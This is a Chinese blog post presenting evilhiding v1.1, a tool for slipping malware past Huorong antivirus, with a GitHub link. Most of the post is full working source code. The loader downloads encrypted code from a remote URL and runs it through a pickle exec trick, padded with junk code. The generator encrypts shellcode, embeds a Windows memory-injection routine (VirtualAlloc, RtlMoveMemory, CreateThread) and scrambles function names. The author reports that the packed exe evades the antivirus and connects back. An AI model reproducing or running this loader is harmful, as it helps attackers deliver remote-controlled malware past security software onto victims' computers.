文章目录
- 前记
- 查杀排查
- 源码修改
- 免杀效果测试
前记
evilhiding昨天被提issue不能绕过火绒了，于是今天更新了evilhiding v1.1，已经可以继续免杀了。
期待各位的stars，项目地址如下：
https://github.com/coleak2021/evilhiding
查杀排查
直接python运行b.py发现未被查杀，且可正常上线，但是通过pyinstaller打包为exe后发现被火绒查杀，因此打算对源代码进行修改来绕过火绒
于是对b.py关键部分分别打包检查，发现均未被查杀
加载器
import pickle,base64,requests,ctypes
from cryptography.fernet import Fernet
url=''
def O7867890(sectr):
KEY=b'Lo8QurfIObo62aKQsQjnzAocsnrrIkTsJewRJLLKAsA='
fernet = Fernet(KEY)
destr = fernet.decrypt(sectr).decode()
class A(object):
def __reduce__(self):
return (exec, (destr,))
ret = pickle.dumps(A())
ret_base64 = base64.b64encode(ret)
ret_decode = base64.b64decode(ret_base64)
pickle.loads(ret_decode)
执行器
def O1674418():
try:
r=requests.get(url)
a = r.status_code
except:
a = 404
pass
if a == 200:
O7867890(r.text)
else:
pass
if __name__ == '__main__':
exec(t1)
exec(t2)
O1674418()
花指令
t2 ="""
import base64
st= 'wo gan jue wo ma shang jiu yao bei defender gan diao a ba a bachonogchong chongcong!'.encode()
res= base64.b64encode(st)
aaa= res.decode()
res= base64.b64decode(res)
bbb= res.decode()
"""
t1 ="""
import random
def O4402217(test_arr, low, high):
i = (low - 1)
pivot = test_arr[high]
for j in range(low, high):
if test_arr[j] <= pivot:
i = i + 1
test_arr[i], test_arr[j] = test_arr[j], test_arr[i]
test_arr[i + 1], test_arr[high] = test_arr[high], test_arr[i + 1]
return i + 1
def O7313740(test_arr, low, high):
if low < high:
pi = O4402217(test_arr, low, high)
O7313740(test_arr, low, pi - 1)
O7313740(test_arr, pi + 1, high)
test_arr= []
for i in range(59999):
test_arr.append(random.random())
n= len(test_arr)
O7313740(test_arr,0, n - 1)
"""
得出结论：各部分可以分别正常打包，但是火绒对整体进行了特征提取，因此我们只需要将文件结构做修改即可
源码修改
经过测试，最终对b.py修改为如下，此时打包为exe可绕过火绒正常上线
from cryptography.fernet import Fernet
import pickle,base64,requests,ctypes
import random
url=''
def O7867890(sectr):
KEY=b''
fernet = Fernet(KEY)
destr = fernet.decrypt(sectr).decode()
class A(object):
def __reduce__(self):
return (exec, (destr,))
def say_hello(self):
exec(bbb)
a=A()
a.say_hello()
ret = pickle.dumps(a)
ret_base64 = base64.b64encode(ret)
ret_decode = base64.b64decode(ret_base64)
pickle.loads(ret_decode)
bbb ="""
import base64
st= 'cccccccccccccccccccooooooooooollllllllllllleeeeeeeeeeeeaaaaaaaaaaaakkkkkkkkk'.encode()
res= base64.b64encode(st)
aaa= res.decode()
res= base64.b64decode(res)
bbb= res.decode()
"""
def O1674418():
try:
r=requests.get(url)
a = r.status_code
except:
a = 404
pass
if a == 200:
O7867890(r.text)
else:
pass
if __name__ == '__main__':
O1674418()
因此，对main.py生成器修改如下
# -*- coding: utf-8 -*-
import base64
import re,os,time
from cryptography.fernet import Fernet
shellcode = b""
url=''
key = Fernet.generate_key()
fernet = Fernet(key)
enstr = fernet.encrypt(shellcode)
key2 = Fernet.generate_key()
fernet2 = Fernet(key2)
a=f'''
import ctypes
from cryptography.fernet import Fernet
KEY={key}
fernet=Fernet(KEY)
shellcode=fernet.decrypt({enstr})
shellcode = bytearray(shellcode)
ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
ctypes.windll.kernel32.RtlMoveMemory(
ctypes.c_uint64(ptr),
buf,
ctypes.c_int(len(shellcode))
)
handle = ctypes.windll.kernel32.CreateThread(
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.c_uint64(ptr),
ctypes.c_int(0),
ctypes.c_int(0),
ctypes.pointer(ctypes.c_int(0))
)
ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))
'''
cccc=f'''
from cryptography.fernet import Fernet
import pickle,base64,requests,ctypes
import random
url=f'{url}'
a=[]
class B():
def cc(self):
for i in range(5):
a.append(i)
def O7303771(sectr):
global destr
KEY={key2}
fernet = Fernet(KEY)
destr = fernet.decrypt(sectr).decode()
aaa(destr)
def aaa(destr):
class A(object):
def __reduce__(self):
return (exec, (destr,))
def O6294286(self):
exec(bbb)
a=A()
a.O6294286()
ret = pickle.dumps(a)
ret_base64 = base64.b64encode(ret)
ret_decode = base64.b64decode(ret_base64)
pickle.loads(ret_decode)
bbb ="""
for i in range(100):
aaa=B()
aaa.cc()
"""
def O0135984():
try:
r=requests.get(url)
a = r.status_code
except:
a = 404
pass
if a == 200:
O7303771(r.text)
else:
pass
if __name__ == '__main__':
O0135984()
'''
def hunxiao():
openfile = 'content.txt'
text = open(openfile, encoding='utf-8').read()
wd_df = re.findall("def (.*?)\\(", text)
wd_df = list(set(wd_df))
for i in wd_df:
if i[0:2] == "__":
wd_df.remove(i)
if i == 'super':
wd_df.remove(i)
idlist = []
for i in wd_df:
idlist.append('O' + str(hash(i))[-7:])
cs = len(wd_df)
if cs == len(set(idlist)):
while cs > 0:
cs -= 1
text = text.replace(wd_df[cs] + '(', idlist[cs] + '(')
text = text.replace('target=' + wd_df[cs], 'target=' + idlist[cs])
text = text.replace('global ' + wd_df[cs], 'global ' + idlist[cs])
text = text.replace(', ' + wd_df[cs], ', ' + idlist[cs])
else:
print('hash repeat')
file_save = open('b.py', 'w', encoding='utf-8')
file_save.write(text)
file_save.close()
with open('content.txt', 'bw') as f:
f.write(cccc.encode())
hunxiao()
with open('a.txt', 'bw') as f:
f.write(fernet2.encrypt(a.encode()))
with open('content.txt', 'br') as f:
content=base64.b64encode(f.read())
b = f'''
from cryptography.fernet import Fernet
import pickle,base64,requests,ctypes
import random
cccc={content}
exec(base64.b64decode(cccc).decode())
'''
with open('b.py', 'w', encoding='utf-8') as f:
f.write(b)
iconame=f'{int (time.time() *1000)}.ico'
with open('coleak.ico',"br") as f:
cont=f.read()
with open(f'{iconame}',"bw") as f:
cont+=iconame.encode()
f.write(cont)
with open('create.py',"br") as f:
createit=f.read()
exec(createit)
免杀效果测试
